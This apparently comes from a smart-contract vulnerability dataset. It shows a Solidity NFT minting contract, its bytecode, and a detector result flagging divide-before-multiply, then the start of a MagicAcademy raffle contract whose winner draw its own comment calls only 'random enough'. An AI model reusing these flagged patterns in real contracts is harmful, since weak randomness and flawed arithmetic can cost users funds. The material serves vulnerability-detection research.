BaseInterface baseDiededContract = BaseInterface(ckAddress); uint256 public nextMintID; string baseURI; string _symbol; string _name; // Masterpiece cycle counter // 1 cycle consist of 20 masterpieces uint8 public cycleCounter; address [] whitelisted; bool public isMintWindowOpen; bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; mapping (uint256 => address) internal idToOwner; mapping (uint256 => address) internal idToApproval; mapping (address => uint256) internal ownerToNFTokenCount; mapping (address => mapping (address => bool)) internal ownerToOperators; //Each ID belongs to which masterpiece basically mapping (uint256 => uint256) internal idToType; //Each masterpieceMintID shall contain less than 70 mints ! mapping (uint256 => uint8) internal mpieceToCount; //Whitelisted addresses mapping(address => uint8) internal whitelistedClaimed; modifier canOperate( uint256 _tokenId ) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], "003003" ); _; } modifier canTransfer( uint256 _tokenId ) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || idToApproval[_tokenId] == msg.sender || ownerToOperators[tokenOwner][msg.sender], "003004" ); _; } modifier validNFToken( uint256 _tokenId ) { require(idToOwner[_tokenId] != address(0), "003002"); _; } function addToWhitelistArray(address[] memory _whitelisted) public onlyOwner { for (uint8 i=0; i<_whitelisted.length; i++) { whitelisted.push(_whitelisted[i]); whitelistedClaimed[_whitelisted[i]] = 10; //not claimed } } constructor(address[] memory _whitelisted) { _name = "DIEDED_MASTERPIECES"; _symbol = "DIEDEDMP"; setBaseTokenURI("https://dieded.art/URIS_MP/"); supportedInterfaces[0x80ac58cd] = true; // ERC721 isMintWindowOpen = true; cycleCounter = 1; nextMintID = 0; for (uint8 i=0; i<_whitelisted.length; i++) { whitelisted.push(_whitelisted[i]); whitelistedClaimed[_whitelisted[i]] = 10; //not claimed } } //On 'closing' we shall increment cycle counter function openCloseMint(bool _status) public onlyOwner{ isMintWindowOpen = _status; if(_status != false) { cycleCounter +=1; } } //Just in case needed function adjustCycleCounter(uint8 _counter) public onlyOwner{ cycleCounter = _counter; } function setBaseTokenURI(string memory _baseURI) public onlyOwner{ baseURI = _baseURI; } function name() external view returns (string memory name_ret){ return _name; } function symbol() external view returns (string memory symbol_ret){ return _symbol; } function tokenURI(uint256 tokenId) public view virtual returns (string memory) { require(tokenId <= nextMintID, "ERC721: URI query for nonexistent token"); return string(abi.encodePacked(baseURI, uint2str(tokenId), ".json")); } function isWhitelistedAndNotClaimedYet(address isWhitelistedAddr) public view returns (bool) { bool result = false; for (uint256 i=0; i<whitelisted.length; i++) { if( whitelisted[i] == isWhitelistedAddr && whitelistedClaimed[isWhitelistedAddr] == 10) { return true; } } return result; } function _mint( address _to, uint256 _tokenId ) internal virtual { require(_to != address(0), "003001"); require(idToOwner[_tokenId] == address(0), "003006"); _addNFToken(_to, _tokenId); nextMintID += 1; emit Transfer(address(0), _to, _tokenId); } function claim(uint256 masterpieceID, uint8 extra) external payable{ require(isMintWindowOpen && masterpieceID < (uint256(cycleCounter * 20) - 1) && masterpieceID >= (uint256((cycleCounter-1) * 20)), "Mint window is not open"); require(mpieceToCount[masterpieceID] < 70, "The amount of mints/masterpiece would exceed the hard cap of 70!"); //Extra for whitelisted members costs : 0.01 ETH //Extra for non-whitelisted memebrs: costs: 0.02 ETH //Check free mints bool freeClaim = false; bool isfreeClaimFromMembership = false; bool isfreeClaimFromWL = isWhitelistedAndNotClaimedYet(msg.sender); if(!isfreeClaimFromWL){ isfreeClaimFromMembership = baseDiededContract.isEligibleToFutureMints(msg.sender, masterpieceID); if(isfreeClaimFromMembership) { //So if anyone want he/she can mint the whole number up to 70 freeClaim = true; } } //Setting freeClaim flag if(isfreeClaimFromWL) { whitelistedClaimed[msg.sender] = 20; //claimed freeClaim = true; } //If whitelisted and want an extra masterpiece it costs +0.01 ETH if (freeClaim == true && extra > 0) { require(msg.value >= 0.01 ether, "Claiming a masterpiece +1 extra costs 0.01 ETH for this address"); } //If non-whitelisted and want an extra masterpiece it costs +0.02 ETH (and the original 0.03 ETH) if( freeClaim == false && extra > 0 ) { require(msg.value >= 0.05 ether, "Claiming a masterpiece +1 extra costs 0.05 ETH for this address"); } else if( freeClaim == false && extra == 0) { require(msg.value >= 0.03 ether, "Claiming a masterpiece costs 0.03 ETH for this address"); } idToType[nextMintID] = masterpieceID; mpieceToCount[masterpieceID] += 1; _mint(msg.sender,nextMintID); if( extra > 0 ) { idToType[nextMintID] = masterpieceID; mpieceToCount[masterpieceID] += 1; _mint(msg.sender,nextMintID); } } function viewMpieceType(uint256 tokenID) public view returns(uint256) { return idToType[tokenID]; } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external override { _safeTransferFrom(_from, _to, _tokenId, _data); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external override { _safeTransferFrom(_from, _to, _tokenId, ""); } function transferFrom( address _from, address _to, uint256 _tokenId ) external override canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, "003007"); require(_to != address(0), "003001"); _transfer(_to, _tokenId); } function approve( address _approved, uint256 _tokenId ) external override canOperate(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(_approved != tokenOwner, "003008"); idToApproval[_tokenId] = _approved; emit Approval(tokenOwner, _approved, _tokenId); } function setApprovalForAll( address _operator, bool _approved ) external override { ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function balanceOf( address _owner ) external override view returns (uint256) { require(_owner != address(0), "003001"); return _getOwnerNFTCount(_owner); } function ownerOf( uint256 _tokenId ) external override view returns (address _owner) { _owner = idToOwner[_tokenId]; require(_owner != address(0), "003002"); } function getApproved( uint256 _tokenId ) external override view validNFToken(_tokenId) returns (address) { return idToApproval[_tokenId]; } function isApprovedForAll( address _owner, address _operator ) external override view returns (bool) { return ownerToOperators[_owner][_operator]; } function _transfer( address _to, uint256 _tokenId ) internal { address from = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(from, _tokenId); _addNFToken(_to, _tokenId); emit Transfer(from, _to, _tokenId); } function _removeNFToken( address _from, uint256 _tokenId ) internal virtual { require(idToOwner[_tokenId] == _from, "003007"); ownerToNFTokenCount[_from] -= 1; delete idToOwner[_tokenId]; } function _addNFToken( address _to, uint256 _tokenId ) internal virtual { require(idToOwner[_tokenId] == address(0), "003006"); idToOwner[_tokenId] = _to; ownerToNFTokenCount[_to] += 1; } function _getOwnerNFTCount( address _owner ) internal virtual view returns (uint256) { return ownerToNFTokenCount[_owner]; } function _safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) private canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, "003007"); require(_to != address(0), "003001"); _transfer(_to, _tokenId); if (_to.isContract()) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data); require(retval == MAGIC_ON_ERC721_RECEIVED, "003005"); } } function _clearApproval( uint256 _tokenId ) private { delete idToApproval[_tokenId]; } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function withdraw(address payable recipient) public onlyOwner { uint256 balance = address(this).balance; recipient.transfer(balance); } }
0x6080604052600436106101b75760003560e01c80636e5afb10116100ec578063b88d4fde1161008a578063ca37b3bf11610064578063ca37b3bf146104f3578063e985e9c51461050d578063f2fde38b14610556578063f33fbaf31461057657600080fd5b8063b88d4fde14610493578063c1841d51146104b3578063c87b56dd146104d357600080fd5b80638da5cb5b116100c65780638da5cb5b146104205780638f32d59b1461043e57806395d89b411461045e578063a22cb4651461047357600080fd5b80636e5afb10146103cb57806370a08231146103eb578063715018a61461040b57600080fd5b80632faf3ea61161015957806342842e0e1161013357806342842e0e1461034b57806351cff8d91461036b5780636352211e1461038b5780636e29d9df146103ab57600080fd5b80632faf3ea6146102f857806330176e131461030b57806332c9d1fd1461032b57600080fd5b8063095ea7b311610195578063095ea7b3146102655780630cc8b19d1461028757806323b872dd146102ab5780632811f706146102cb57600080fd5b806301ffc9a7146101bc57806306fdde031461020b578063081812fc1461022d575b600080fd5b3480156101c857600080fd5b506101f66101d7366004611c79565b6001600160e01b03191660009081526020819052604090205460ff1690565b60405190151581526020015b60405180910390f35b34801561021757600080fd5b506102206105a2565b6040516102029190611ee8565b34801561023957600080fd5b5061024d610248366004611d48565b610634565b6040516001600160a01b039091168152602001610202565b34801561027157600080fd5b50610285610280366004611b5a565b610694565b005b34801561029357600080fd5b5061029d60045481565b604051908152602001610202565b3480156102b757600080fd5b506102856102c6366004611a4c565b6107fe565b3480156102d757600080fd5b5061029d6102e6366004611d48565b6000908152600f602052604090205490565b610285610306366004611d61565b610949565b34801561031757600080fd5b50610285610326366004611cb3565b610dc0565b34801561033757600080fd5b50610285610346366004611d8d565b610dee565b34801561035757600080fd5b50610285610366366004611a4c565b610e1b565b34801561037757600080fd5b506102856103863660046119ef565b610e3b565b34801561039757600080fd5b5061024d6103a6366004611d48565b610e8a565b3480156103b757600080fd5b506101f66103c63660046119ef565b610ec4565b3480156103d757600080fd5b506102856103e6366004611c3f565b610f55565b3480156103f757600080fd5b5061029d6104063660046119ef565b610fb8565b34801561041757600080fd5b50610285610ffc565b34801561042c57600080fd5b506001546001600160a01b031661024d565b34801561044a57600080fd5b506001546001600160a01b031633146101f6565b34801561046a57600080fd5b5061022061105d565b34801561047f57600080fd5b5061028561048e366004611b2c565b61106c565b34801561049f57600080fd5b506102856104ae366004611a8d565b6110d8565b3480156104bf57600080fd5b506102856104ce366004611b86565b61111a565b3480156104df57600080fd5b506102206104ee366004611d48565b611203565b3480156104ff57600080fd5b50600a546101f69060ff1681565b34801561051957600080fd5b506101f6610528366004611a13565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205460ff1690565b34801561056257600080fd5b506102856105713660046119ef565b611299565b34801561058257600080fd5b506008546105909060ff1681565b60405160ff9091168152602001610202565b6060600780546105b19061209d565b80601f01602080910402602001604051908101604052809291908181526020018280546105dd9061209d565b801561062a5780601f106105ff5761010080835404028352916020019161062a565b820191906000526020600020905b81548152906001019060200180831161060d57829003601f168201915b5050505050905090565b6000818152600b602052604081205482906001600160a01b03166106735760405162461bcd60e51b815260040161066a90611efb565b60405180910390fd5b6000838152600c60205260409020546001600160a01b031691505b50919050565b6000818152600b602052604090205481906001600160a01b0316338114806106df57506001600160a01b0381166000908152600e6020908152604080832033845290915290205460ff165b6107145760405162461bcd60e51b815260206004820152600660248201526530303330303360d01b604482015260640161066a565b6000838152600b602052604090205483906001600160a01b031661074a5760405162461bcd60e51b815260040161066a90611efb565b6000848152600b60205260409020546001600160a01b0390811690861681141561079f5760405162461bcd60e51b815260206004820152600660248201526506060666060760d31b604482015260640161066a565b6000858152600c602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b6000818152600b602052604090205481906001600160a01b03163381148061083c57506000828152600c60205260409020546001600160a01b031633145b8061086a57506001600160a01b0381166000908152600e6020908152604080832033845290915290205460ff165b61089f5760405162461bcd60e51b81526020600482015260066024820152650c0c0ccc0c0d60d21b604482015260640161066a565b6000838152600b602052604090205483906001600160a01b03166108d55760405162461bcd60e51b815260040161066a90611efb565b6000848152600b60205260409020546001600160a01b0390811690871681146109105760405162461bcd60e51b815260040161066a90611f3b565b6001600160a01b0386166109365760405162461bcd60e51b815260040161066a90611f1b565b61094086866112b9565b50505050505050565b600a5460ff16801561097a575060085460019061096a9060ff16601461200a565b60ff166109779190612033565b82105b80156109a557506008546109939060019060ff1661204a565b61099e90601461200a565b60ff168210155b6109f15760405162461bcd60e51b815260206004820152601760248201527f4d696e742077696e646f77206973206e6f74206f70656e000000000000000000604482015260640161066a565b600082815260106020526040902054604660ff90911610610a7c576040805162461bcd60e51b81526020600482015260248101919091527f54686520616d6f756e74206f66206d696e74732f6d617374657270696563652060448201527f776f756c642065786365656420746865206861726420636170206f6620373021606482015260840161066a565b6000806000610a8a33610ec4565b905080610b2057600354604051630805e54b60e41b8152336004820152602481018790526001600160a01b039091169063805e54b09060440160206040518083038186803b158015610adb57600080fd5b505afa158015610aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b139190611c5c565b91508115610b2057600192505b8015610b4557336000908152601160205260409020805460ff19166014179055600192505b6001831515148015610b5a575060008460ff16115b15610bdc57662386f26fc10000341015610bdc5760405162461bcd60e51b815260206004820152603f60248201527f436c61696d696e672061206d61737465727069656365202b312065787472612060448201527f636f73747320302e30312045544820666f722074686973206164647265737300606482015260840161066a565b82158015610bed575060008460ff16115b15610c745766b1a2bc2ec50000341015610c6f5760405162461bcd60e51b815260206004820152603f60248201527f436c61696d696e672061206d61737465727069656365202b312065787472612060448201527f636f73747320302e30352045544820666f722074686973206164647265737300606482015260840161066a565b610cfe565b82158015610c83575060ff8416155b15610cfe57666a94d74f430000341015610cfe5760405162461bcd60e51b815260206004820152603660248201527f436c61696d696e672061206d6173746572706965636520636f73747320302e30604482015275332045544820666f722074686973206164647265737360501b606482015260840161066a565b6004546000908152600f6020908152604080832088905587835260109091528120805460019290610d3390849060ff16611fa4565b92506101000a81548160ff021916908360ff160217905550610d5733600454611344565b60ff841615610db9576004546000908152600f6020908152604080832088905587835260109091528120805460019290610d9590849060ff16611fa4565b92506101000a81548160ff021916908360ff160217905550610db933600454611344565b5050505050565b6001546001600160a01b03163314610dd757600080fd5b8051610dea906005906020840190611945565b5050565b6001546001600160a01b03163314610e0557600080fd5b6008805460ff191660ff92909216919091179055565b610e3683838360405180602001604052806000815250611416565b505050565b6001546001600160a01b03163314610e5257600080fd5b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610e36573d6000803e3d6000fd5b6000818152600b60205260409020546001600160a01b031680610ebf5760405162461bcd60e51b815260040161066a90611efb565b919050565b600080805b600954811015610f4e57836001600160a01b031660098281548110610ef057610ef0612123565b6000918252602090912001546001600160a01b0316148015610f2d57506001600160a01b03841660009081526011602052604090205460ff16600a145b15610f3c575060019392505050565b80610f46816120d2565b915050610ec9565b5092915050565b6001546001600160a01b03163314610f6c57600080fd5b600a805460ff19168215801591909117909155610fb5576008805460019190600090610f9c90849060ff16611fa4565b92506101000a81548160ff021916908360ff1602179055505b50565b60006001600160a01b038216610fe05760405162461bcd60e51b815260040161066a90611f1b565b506001600160a01b03166000908152600d602052604090205490565b6001546001600160a01b0316331461101357600080fd5b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600680546105b19061209d565b336000818152600e602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610db985858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061141692505050565b6001546001600160a01b0316331461113157600080fd5b60005b81518160ff161015610dea576009828260ff168151811061115757611157612123565b6020908102919091018101518254600181018455600093845291832090910180546001600160a01b0319166001600160a01b039092169190911790558251600a91601191859060ff86169081106111b0576111b0612123565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908360ff16021790555080806111fb906120ed565b915050611134565b60606004548211156112675760405162461bcd60e51b815260206004820152602760248201527f4552433732313a2055524920717565727920666f72206e6f6e6578697374656e6044820152663a103a37b5b2b760c91b606482015260840161066a565b60056112728361164d565b604051602001611283929190611df0565b6040516020818303038152906040529050919050565b6001546001600160a01b031633146112b057600080fd5b610fb581611776565b6000818152600b6020908152604080832054600c90925290912080546001600160a01b03191690556001600160a01b03166112f481836117e5565b6112fe838361186b565b81836001600160a01b0316826001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6001600160a01b03821661136a5760405162461bcd60e51b815260040161066a90611f1b565b6000818152600b60205260409020546001600160a01b0316156113b85760405162461bcd60e51b815260206004820152600660248201526518181998181b60d11b604482015260640161066a565b6113c2828261186b565b6001600460008282546113d59190611f8c565b909155505060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000828152600b602052604090205482906001600160a01b03163381148061145457506000828152600c60205260409020546001600160a01b031633145b8061148257506001600160a01b0381166000908152600e6020908152604080832033845290915290205460ff165b6114b75760405162461bcd60e51b81526020600482015260066024820152650c0c0ccc0c0d60d21b604482015260640161066a565b6000848152600b602052604090205484906001600160a01b03166114ed5760405162461bcd60e51b815260040161066a90611efb565b6000858152600b60205260409020546001600160a01b0390811690881681146115285760405162461bcd60e51b815260040161066a90611f3b565b6001600160a01b03871661154e5760405162461bcd60e51b815260040161066a90611f1b565b61155887876112b9565b61156a876001600160a01b0316611909565b1561164357604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a02906115a49033908d908c908c90600401611eab565b602060405180830381600087803b1580156115be57600080fd5b505af11580156115d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f69190611c96565b90506001600160e01b03198116630a85bd0160e11b146116415760405162461bcd60e51b815260206004820152600660248201526530303330303560d01b604482015260640161066a565b505b5050505050505050565b6060816116715750506040805180820190915260018152600360fc1b602082015290565b8160005b811561169b5780611685816120d2565b91506116949050600a83611fc9565b9150611675565b60008167ffffffffffffffff8111156116b6576116b6612139565b6040519080825280601f01601f1916602001820160405280156116e0576020820181803683370190505b509050815b851561176d576116f6600182612033565b90506000611705600a88611fc9565b61171090600a611feb565b61171a9088612033565b611725906030611fa4565b905060008160f81b90508084848151811061174257611742612123565b60200101906001600160f81b031916908160001a905350611764600a89611fc9565b975050506116e5565b50949350505050565b6001600160a01b03811661178957600080fd5b6001546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000818152600b60205260409020546001600160a01b0383811691161461181e5760405162461bcd60e51b815260040161066a90611f3b565b6001600160a01b0382166000908152600d60205260408120805460019290611847908490612033565b90915550506000908152600b6020526040902080546001600160a01b031916905550565b6000818152600b60205260409020546001600160a01b0316156118b95760405162461bcd60e51b815260206004820152600660248201526518181998181b60d11b604482015260640161066a565b6000818152600b6020908152604080832080546001600160a01b0319166001600160a01b0387169081179091558352600d9091528120805460019290611900908490611f8c565b90915550505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061193d5750808214155b949350505050565b8280546119519061209d565b90600052602060002090601f01602090048101928261197357600085556119b9565b82601f1061198c57805160ff19168380011785556119b9565b828001600101855582156119b9579182015b828111156119b957825182559160200191906001019061199e565b506119c59291506119c9565b5090565b5b808211156119c557600081556001016119ca565b803560ff81168114610ebf57600080fd5b600060208284031215611a0157600080fd5b8135611a0c8161214f565b9392505050565b60008060408385031215611a2657600080fd5b8235611a318161214f565b91506020830135611a418161214f565b809150509250929050565b600080600060608486031215611a6157600080fd5b8335611a6c8161214f565b92506020840135611a7c8161214f565b929592945050506040919091013590565b600080600080600060808688031215611aa557600080fd5b8535611ab08161214f565b94506020860135611ac08161214f565b935060408601359250606086013567ffffffffffffffff80821115611ae457600080fd5b818801915088601f830112611af857600080fd5b813581811115611b0757600080fd5b896020828501011115611b1957600080fd5b9699959850939650602001949392505050565b60008060408385031215611b3f57600080fd5b8235611b4a8161214f565b91506020830135611a4181612164565b60008060408385031215611b6d57600080fd5b8235611b788161214f565b946020939093013593505050565b60006020808385031215611b9957600080fd5b823567ffffffffffffffff80821115611bb157600080fd5b818501915085601f830112611bc557600080fd5b813581811115611bd757611bd7612139565b8060051b9150611be8848301611f5b565b8181528481019084860184860187018a1015611c0357600080fd5b600095505b83861015611c325780359450611c1d8561214f565b84835260019590950194918601918601611c08565b5098975050505050505050565b600060208284031215611c5157600080fd5b8135611a0c81612164565b600060208284031215611c6e57600080fd5b8151611a0c81612164565b600060208284031215611c8b57600080fd5b8135611a0c81612172565b600060208284031215611ca857600080fd5b8151611a0c81612172565b60006020808385031215611cc657600080fd5b823567ffffffffffffffff80821115611cde57600080fd5b818501915085601f830112611cf257600080fd5b813581811115611d0457611d04612139565b611d16601f8201601f19168501611f5b565b91508082528684828501011115611d2c57600080fd5b8084840185840137600090820190930192909252509392505050565b600060208284031215611d5a57600080fd5b5035919050565b60008060408385031215611d7457600080fd5b82359150611d84602084016119de565b90509250929050565b600060208284031215611d9f57600080fd5b611a0c826119de565b60008151808452611dc081602086016020860161206d565b601f01601f19169290920160200192915050565b60008151611de681856020860161206d565b9290920192915050565b600080845481600182811c915080831680611e0c57607f831692505b6020808410821415611e2c57634e487b7160e01b86526022600452602486fd5b818015611e405760018114611e5157611e7e565b60ff19861689528489019650611e7e565b60008b81526020902060005b86811015611e765781548b820152908501908301611e5d565b505084890196505b505050505050611ea2611e918286611dd4565b64173539b7b760d91b815260050190565b95945050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611ede90830184611da8565b9695505050505050565b602081526000611a0c6020830184611da8565b60208082526006908201526518181998181960d11b604082015260600190565b60208082526006908201526530303330303160d01b604082015260600190565b60208082526006908201526530303330303760d01b604082015260600190565b604051601f8201601f1916810167ffffffffffffffff81118282101715611f8457611f84612139565b604052919050565b60008219821115611f9f57611f9f61210d565b500190565b600060ff821660ff84168060ff03821115611fc157611fc161210d565b019392505050565b600082611fe657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120055761200561210d565b500290565b600060ff821660ff84168160ff048111821515161561202b5761202b61210d565b029392505050565b6000828210156120455761204561210d565b500390565b600060ff821660ff8416808210156120645761206461210d565b90039392505050565b60005b83811015612088578181015183820152602001612070565b83811115612097576000848401525b50505050565b600181811c908216806120b157607f821691505b6020821081141561068e57634e487b7160e01b600052602260045260246000fd5b60006000198214156120e6576120e661210d565b5060010190565b600060ff821660ff8114156121045761210461210d565b60010192915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610fb557600080fd5b8015158114610fb557600080fd5b6001600160e01b031981168114610fb557600080fdfea26469706673582212202f6875b07ca47626b11cf6e7d834b88fdd13e09a6d59c0fef37f147b23832dda64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,775
0x2791528f5617e187a6d73c30034ac211b2f47042
pragma solidity ^0.4.18; /* ==================================================================== */ /* Copyright (c) 2018 The MagicAcademy Project. All rights reserved. /* /* https://www.magicacademy.io One of the world&#39;s first idle strategy games of blockchain /* /* authors rainy@livestar.com/Jony.Fu@livestar.com /* /* ==================================================================== */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract AccessAdmin is Ownable { /// @dev Admin Address mapping (address => bool) adminContracts; /// @dev Trust contract mapping (address => bool) actionContracts; function setAdminContract(address _addr, bool _useful) public onlyOwner { require(_addr != address(0)); adminContracts[_addr] = _useful; } modifier onlyAdmin { require(adminContracts[msg.sender]); _; } function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { actionContracts[_actionAddr] = _useful; } modifier onlyAccess() { require(actionContracts[msg.sender]); _; } } interface CardsInterface { function balanceOf(address player) public constant returns(uint256); function updatePlayersCoinByOut(address player) external; function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public; function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; } interface RareInterface { function getRareItemsOwner(uint256 rareId) external view returns (address); function getRareItemsPrice(uint256 rareId) external view returns (uint256); function getRareInfo(uint256 _tokenId) external view returns ( uint256 sellingPrice, address owner, uint256 nextPrice, uint256 rareClass, uint256 cardId, uint256 rareValue ); function transferToken(address _from, address _to, uint256 _tokenId) external; function transferTokenByContract(uint256 _tokenId,address _to) external; function setRarePrice(uint256 _rareId, uint256 _price) external; function rareStartPrice() external view returns (uint256); } contract CardsRaffle is AccessAdmin { using SafeMath for SafeMath; function CardsRaffle() public { setAdminContract(msg.sender,true); setActionContract(msg.sender,true); } //data contract CardsInterface public cards ; RareInterface public rare; function setCardsAddress(address _address) external onlyOwner { cards = CardsInterface(_address); } //rare cards function setRareAddress(address _address) external onlyOwner { rare = RareInterface(_address); } function getRareAddress() public view returns (address) { return rare; } //event event UnitBought(address player, uint256 unitId, uint256 amount); event RaffleSuccessful(address winner); // Raffle structures struct TicketPurchases { TicketPurchase[] ticketsBought; uint256 numPurchases; // Allows us to reset without clearing TicketPurchase[] (avoids potential for gas limit) uint256 raffleRareId; } // Allows us to query winner without looping (avoiding potential for gas limit) struct TicketPurchase { uint256 startId; uint256 endId; } // Raffle tickets mapping(address => TicketPurchases) private ticketsBoughtByPlayer; mapping(uint256 => address[]) private rafflePlayers; // Keeping a seperate list for each raffle has it&#39;s benefits. uint256 private constant RAFFLE_TICKET_BASE_PRICE = 10000; // Current raffle info uint256 private raffleEndTime; uint256 private raffleRareId; uint256 private raffleTicketsBought; address private raffleWinner; // Address of winner bool private raffleWinningTicketSelected; uint256 private raffleTicketThatWon; // Raffle for rare items function buyRaffleTicket(uint256 amount) external { require(raffleEndTime >= block.timestamp); //close it if need test require(amount > 0); uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_PRICE, amount); require(cards.balanceOf(msg.sender) >= ticketsCost); // Update player&#39;s jade cards.updatePlayersCoinByPurchase(msg.sender, ticketsCost); // Handle new tickets TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender]; // If we need to reset tickets from a previous raffle if (purchases.raffleRareId != raffleRareId) { purchases.numPurchases = 0; purchases.raffleRareId = raffleRareId; rafflePlayers[raffleRareId].push(msg.sender); // Add user to raffle } // Store new ticket purchase if (purchases.numPurchases == purchases.ticketsBought.length) { purchases.ticketsBought.length = SafeMath.add(purchases.ticketsBought.length,1); } purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1)); // (eg: buy 10, get id&#39;s 0-9) // Finally update ticket total raffleTicketsBought = SafeMath.add(raffleTicketsBought,amount); //event UnitBought(msg.sender,raffleRareId,amount); } /// @dev start raffle function startRareRaffle(uint256 endTime, uint256 rareId) external onlyAdmin { require(rareId>0); require(rare.getRareItemsOwner(rareId) == getRareAddress()); require(block.timestamp < endTime); //close it if need test if (raffleRareId != 0) { // Sanity to assure raffle has ended before next one starts require(raffleWinner != 0); } // Reset previous raffle info raffleWinningTicketSelected = false; raffleTicketThatWon = 0; raffleWinner = 0; raffleTicketsBought = 0; // Set current raffle info raffleEndTime = endTime; raffleRareId = rareId; } function awardRafflePrize(address checkWinner, uint256 checkIndex) external { require(raffleEndTime < block.timestamp); //close it if need test require(raffleWinner == 0); require(rare.getRareItemsOwner(raffleRareId) == getRareAddress()); if (!raffleWinningTicketSelected) { drawRandomWinner(); // Ideally do it in one call (gas limit cautious) } // Reduce gas by (optionally) offering an address to _check_ for winner if (checkWinner != 0) { TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner]; if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) { TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex]; if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) { assignRafflePrize(checkWinner); // WINNER! return; } } } // Otherwise just naively try to find the winner (will work until mass amounts of players) for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) { address player = rafflePlayers[raffleRareId][i]; TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; uint256 endIndex = playersTickets.numPurchases - 1; // Minor optimization to avoid checking every single player if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) { for (uint256 j = 0; j < playersTickets.numPurchases; j++) { TicketPurchase storage playerTicket = playersTickets.ticketsBought[j]; if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) { assignRafflePrize(player); // WINNER! return; } } } } } function assignRafflePrize(address winner) internal { raffleWinner = winner; uint256 newPrice = (rare.rareStartPrice() * 25) / 20; rare.transferTokenByContract(raffleRareId,winner); rare.setRarePrice(raffleRareId,newPrice); cards.updatePlayersCoinByOut(winner); uint256 upgradeClass; uint256 unitId; uint256 upgradeValue; (,,,,upgradeClass, unitId, upgradeValue) = rare.getRareInfo(raffleRareId); cards.upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue); //event RaffleSuccessful(winner); } // Random enough for small contests (Owner only to prevent trial & error execution) function drawRandomWinner() public onlyAdmin { require(raffleEndTime < 